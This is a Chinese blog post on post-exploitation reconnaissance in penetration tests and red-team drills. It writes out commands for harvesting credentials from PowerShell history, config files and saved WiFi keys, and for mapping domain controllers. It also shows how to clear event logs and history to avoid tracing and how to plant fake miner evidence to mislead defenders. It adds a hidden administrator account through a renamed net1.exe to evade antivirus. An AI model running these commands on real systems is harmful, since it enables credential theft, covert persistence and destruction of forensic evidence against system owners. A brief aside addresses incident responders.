写点什么

论渗透信息收集的重要性

  • 2021 年 11 月 30 日
  • 本文字数:5848 字

    阅读完需:约 19 分钟

前言

本文仅用于交流学习, 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

主机信息收集

Windows 主机信息收集

powershell 命令历史记录

可以使用 powershell 进行查看


powershell Get-Content (Get-PSReadlineOption).HistorySavePath
复制代码



某些情况下,该命令可能无法使用,我们可先用 dir 查看 powershell 历史命令记录文件的存放位置,然后使用 type 进行读取


%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
复制代码



type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
复制代码



【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线


PS:打点时遇到 Windows 环境的文件下载漏洞,可下载以下文件进行敏感信息翻阅,某些运维会使用 powershell 进行管理工作组或域内机器,运气好的可以找到 ssh、数据库这类登录密码或其它重要文件,尤其是一些运维用的脚本,里面大多包含主机、数据库登录密码,可通过 powershell 历史记录找到这些脚本的绝对路径,然后在使用文件下载漏洞进行读取,这也是一个不错的突破点,而且这些历史命令大多包含链接主机信息,可提取里面的 IP 段,扩宽我们的攻击面。


C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
复制代码


应急溯源的同学也可以看看这个文件,说不定会发现些蛛丝马迹


渗透结束时,如果使用过 powershell 的,务必清除 powershell 命令历史记录,在一定程度上可以减少被溯源成功的概率,当然,也可以迷惑蓝队,写入一些奇怪的命令,例如把上线的 C2 地址更改为境外的已公开 IOC 情报的挖矿 IP,然后丢进来几个挖坑样本,误导蓝队进行溯源消耗防守方的精力,伪造痕迹的时候记得更改文件时间,还得注意下语言文字这些细节,不然蓝队看到中文名字、错误语法和时间的挖矿,结合攻防演练时间,第一时间肯定会知道这是伪造出来的,如果内网存在 IDS 这样的流量审计设备,蓝队一定位机器查看设备流量,说不定还可能暴露我们的踪迹。


清除 powershell 历史运行命令记录


powershell Remove-Item (Get-PSReadlineOption).HistorySavePath
复制代码

查看历史打开文件

这目录里面放着电脑的历史打开文件记录,看过什么文件、什么时候,包括点过那几个盘,都很详细的记录,我们可通过该目录定位运维常用的文件夹、文件等,寻找敏感信息,查看这个目录往往有奇效,很多时候运维为了方便管理机器喜欢用密码小本本来记录各个机器的密码,毕竟一个运维管理几十台机器是非常常见,这么多密码不一定记得住,所以大多数运维会选择把机器密码记录在 txt、xls 这种文件里,这也就给了我们可乘之机,其实我在这个目录遇到最多的还是运维写的日报、周报,很多时候这些报告里面包含了大量服务器信息,这时候我们就可以通过这些敏感信息进一步内网横向。


recent
复制代码



大多数时候我们的起点都是 webshell 权限,如果没有判断管理员是否在线,是否有 IDS 这种流量检测设备,那么在第一时间最好不要冒然远程过去,不然就是得不偿失了;recent 无法使用,这时候我们可以使用 dir 读取历史打开文件,然后再利用 dir 搜索关键字得到文件的绝对路径,这样我们就可以直接在 webshell 中进行查看或下载回来本地打开了。


dir %APPDATA%\Microsoft\Windows\Recentdir C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recentdir /a /s /b c:\password.txt
复制代码




其它的常用关键字搜索,


dir /a /s /b c:\*.conf *.ini *.inc *.config dir /a /s /b c:\conf.* config.* dir /a /s /b c:\*.txt *.xls *.xlsx *.docxfindstr /s /i /n /d:C:\ /c:"pass" *.config
复制代码


某些时候显示内容过多,可对这些关键字进行逐个搜索,或使用 findstr 进行过滤,如:


dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维"dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "密码"
复制代码



另外可到回收站翻翻,很多时候会有惊喜。


前面说到了 recent 目录记录到了查看历史打开文件,在后渗透时,我们通常会往目标机子上传各种文件,例如 nps、mimikatz、psexec 等,这些工具在使用过程中,大多会在 recent 目录产生记录,这时候为了更好的隐藏痕迹,我们可以 rd 命令删除运行记录或直接使用 CS 或 webshell 管理工具提供的文件管理功能删除该记录,另外 psexec 成功登录退出后,会在目标机器的安全日志中产生 Event 4624、4628、4634,在系统日志中产生 Event 7045(记录 PSEXESVC 安装)、Event 7036(记录 PSEXESVC 服务状态),Windows 日志也需要处理下;关于清理痕迹不是本文的主题,就不多赘述了,对于应急的同学可以多关注下 recent 文件夹和 Windows 日志,在不手动清理或者使用某些安全工具清理垃圾的时候,recent 这个目录为空或者很少东西,那么应该要注意下了。


rd /s 文件
复制代码



windows 日志路径:


系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\EventlogIIS默认日志位置:%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
复制代码


powershell 清除 Windows 事件日志


PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
复制代码


PS:上传后的文件如果不能删除(没权限或其它因素),那么可以上传或新建同名文件,覆盖掉原有文件。

敏感文件寻找

  • 服务器、中间件、数据库这类配置文件。

  • 运维密码、工作记录、个人记录这些。

  • 公司文件、合同、网络拓扑图这类。

  • ……


服务器、中间件、数据库这类配置文件的重要性大家都懂,渗透的时候如果获取到一个包含大量敏感信息的配置文件,那将会为我们在后渗透作出良好的铺垫,如下。


某次项目时,拿到一个存在内网的 shell,通过对主机信息收集,发现某配置文件 Config-back.xml 包含了大量的数据库账号密码,之后使用 CS 下载该配置文件到本地,然后搭建代理利用这些账号密码批量上线 MSSQL 主机,再结合这些密码制作出高质量字典爆破 C 段机器,用了不到 30 分钟拿到了 200 多台机器权限,所以说渗透的本质是信息搜集,信息搜集的量决定着我们渗透的成果,关于配置文件的查找这里就不多说了,可参考上面的 dir 命令进行查找。


dir /a /s /b d:\conf.* config.*
复制代码



另外就是要多关注下 web 系统本身存放的文件,之前遇到过一个 IBM 系统,里面有个云盘功能,之后翻这个功能模块找到了个运维建立的文件夹,里面存放了大量的数据,什么网络拓扑图、运维日志、甚至还有账号密码,还有的就是做等保渗透的时候,远程到运维机,桌面一大堆设备清单,还有各个系统的账号密码,而且这些 xlsx 表格都是不加密的,直接打开就能查看,一些运维为了贪图方便,往往会非常严重的安全隐患,给了入侵者很大的机会。


这里再补充一下 WiFi 密码获取这个点,在内网渗透,密码获取到的越多,路就越好走,很多时候内网的密码都是通用的,就算是不通用,大部分的密码也是有规律可循的,关于密码的获取可使用 LaZagneCMD 获取 WiFi 密码


netsh wlan show profilesnetsh wlan show profiles name="WiFi名称" key=clear
通过for循环一次性获取全部WiFi密码for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
复制代码



如果已经取得当前机器的管理员权限的话,可运行 mimikatz、procdump 之类凭据获取工具获取系统凭据,因为多数管理员可能使用同一密码或有规律性的密码来管理多台服务器,如果能够得到主机密码或者 hash 就可以尝试 pth 或 psexec 批量上线了;还有就是在进程收集的时候要多留意一下是否有域管启用的进程,如果刚好域管理员登录过我们已经有权限的机器,那么就可以利用域管进程进行横向了,如果没有的话可关注下 ms14068,域委派这类东西,这些都是后渗透基本常识了,这里不多赘述。

域信息收集常用命令

常用命令


net use  查看ipc连接情况net user /domain 获取域用户列表net user test 123 /add 添加用户neet localgroup administrators test /add 添加test用户到管理组,一般情况下,管理组才能远程桌面net group /domain 查询域里面的组net group "domain admins" /domain 获取域管理员列表net group "enterprise admins" /domain   查看当前域中企业管理员组用户net group "domain computers" /domain    查看当前域中的所有的计算机名(登录过该域的计算机)net group "exchange servers" /domain    查看域内是否存在Exchangenet group "domain controllers" /domain 查看域控制器(如果有多台)net config workstation  查看当前登录域net view 查看同一域内机器列表net view \\ip 查看某IP共享net view \\test 查看test计算机的共享资源列表net view /domain 查看内网存在多少个域Net view /domain:test 查看test域中的机器列表wmic useraccount get Caption,sid    获取域内所有用户sidsetspn -T target.com -Q */*     获取当前域内所有spnfor /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i"ttl"for /l %i in (1,1,255) do @ping 10.10.10.%i -w 1 -n 1 | find /i"ttl"
复制代码


网络信息查找


ipconfig /all   查看当前主机的主机名/IP/DNS等信息route print 查看路由表信息netstat -ano    查看端口开放情况,有些时候能获取到别的IP段arp -a  查看arp解析情况
复制代码


寻找内网网段时建议被动寻找,主动寻找动静太大,如 nmap、nbtscan 这种一扫,可能整个网段内存活的机器就出来了,但随之而来的是 IDS 的流量审计,一旦引起流量异常被蓝队察觉,可能就会导致我们权限的丢失,永远不要小瞧蓝队,而且还是拥有各种安全设备的蓝队,内网渗透一定要谨慎,大规模资产扫描,自动化漏洞扫描我一般会留到最后才上的。


定位域控


查看域时间,一般域控会做时间服务器


net time /domain
复制代码


通过 dns 定位域控


ipconfig /allipconfig /displaydns   有些时候可以在dns缓存得到域控信息
复制代码


利用 netdom 获取域控列表,得到域控名称可通过 ping 获取域控 IP


netdom query dc
复制代码



其它信息查找


systeminfo  查看补丁情况,也能看到当前机器是否加入域环境net group "domain controllers" /domain  查询域控nslookup -type=SRV _ldap._tcp.corp  通过srv记录获取域控地址nltest /dclist:corp     使用nltest查询域控列表tasklist /svc   查看进程及对应服务名cmdkey /l   查看当前保存的登陆凭证type c:\Windows\system32\drivers\etc\hosts  可以发现些内网IP
复制代码

其它补充

web 日志


有些老系统会使用 get+明文的方式传输后台登录账号密码,我们可翻查下 web 日志,说不定有收获,还有就是要注意系统本身的日志,这些日志大多包含内网 IP 段,甚至还有账号密码这些东西。




另外可找找 FTP,很多时候内网 FTP 都是可以未授权访问的,就算有密码,大多都是弱口令或规律性、通用性的密码,是否能成功登陆就要看我们信息收集的深度了,FTP 大多包含部门或公司敏感文件,可多关注一下。



使用 net1.exe 绕过杀软添加用户


windows 环境渗透添加用户往往会被 AV 拦截,而且还会产生告警日志,这时候可使用 net1.exe 绕过杀软添加用户,当然,也可使用 cs 自带的 argue 参数污染进行用户添加。


net1.exe


cd c:/windows/system32copy net1.exe svchost.txtsvchost.txt user svchost  M@Bas#as#@123 /addnet localgroup administrators svchost /addsvchost.txt user svchost  M@Bas#as#@123 /add & net localgroup administrators svchost /add
复制代码


argue 参数污染


net1 argue net1 aaaaaaaaaaaaaaaaaaaaaaaassssssssssssssssssssssssssssssssssssssssssssssssssexecute net1 user svchost M@Bas#as#@123 /addexecute net1 localgroup administrators svchost /add
复制代码


正常使用 net 添加用户会被火绒拦截




删除用户火绒也无感知



添加用户并加到管理员组


m1kh.txt user m1kh  M@Bas#as#@123 /add & net localgroup administrators m1kh /add
复制代码


linux 主机信息收集

网络信息收集

last                                    多数运维会接入内网登录系统,这时候,便可获取部分内网ip 进而对内网IP段进行画像Ifconfig -a/arp -a/netstat -anopt/ss -nt          这些就不多说了Route -n                                内网路由情况,也能为内网网络拓扑提供一定的信息IPtables                                防火墙情况,有时候会存在内网网络通行规则,也能提供一定信息....
复制代码

敏感文件收集

grep "password:" * -Rnfind / -name "config.*"find / -name "databases.*"find / -name "config.*" | xargs grep "password""
复制代码


其它补充

  • history


history 在 linux 渗透时是非常实用的,各种连接密码,ssh、mysql、ftp 等等,在拿到权限是应该着重看看这个文件


  • 数据库


取得数据库权限后,除了收集账号密码外,也可翻查一下日志、登录记录这些看看有没有内网的其它 IP 资产,遇到过多个站点共用一个 mysql 数据库的情况,然后里面记录了多个系统的后台账号密码,我们可以利用这些账号密码登录其它系统进行漏洞挖掘,遇到后台文件上传、rce 这些说不定还能上线一台主机,多一个内网据点。


  • 日志


linux 的那些日志就不多说了,需要注意的是 GET 传参登录的系统,可多看看日志,收集到账号密码对后续渗透会有所帮助,当然,大部分时候我们需要 webshell 权限才能查看日志,这时候我们可以扫描下目录找找日志,或结合 Spring boot httptrace 进行利用。



再谈谈数据库内的日志记录,有些数据库兼具日志记录功能,会记录到用户登录的 IP,在拿下数据库权限后,可找找有没有这些东西,说不定就能获取到另一个内网 IP 段了,增大我们横向的攻击面。



其它的就是 ssh 私钥和运维脚本这些了,说到底信息收集还是需要结合目标场景而定。

小结

以上只是一些个人见解,说的也比较片面、不全,我认为渗透需要随机应变,日复一日用这同样的方式解决同样的问题,思维就会变得僵化了,这样会导致我们在渗透时变得不再仔细审视和认真思考,用僵化的思维去做渗透往往会使我们错失良机,在攻防过程中除了需要保持良好的心态与清晰的思路外,更要不断的进行思考以避免失误。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
论渗透信息收集的重要性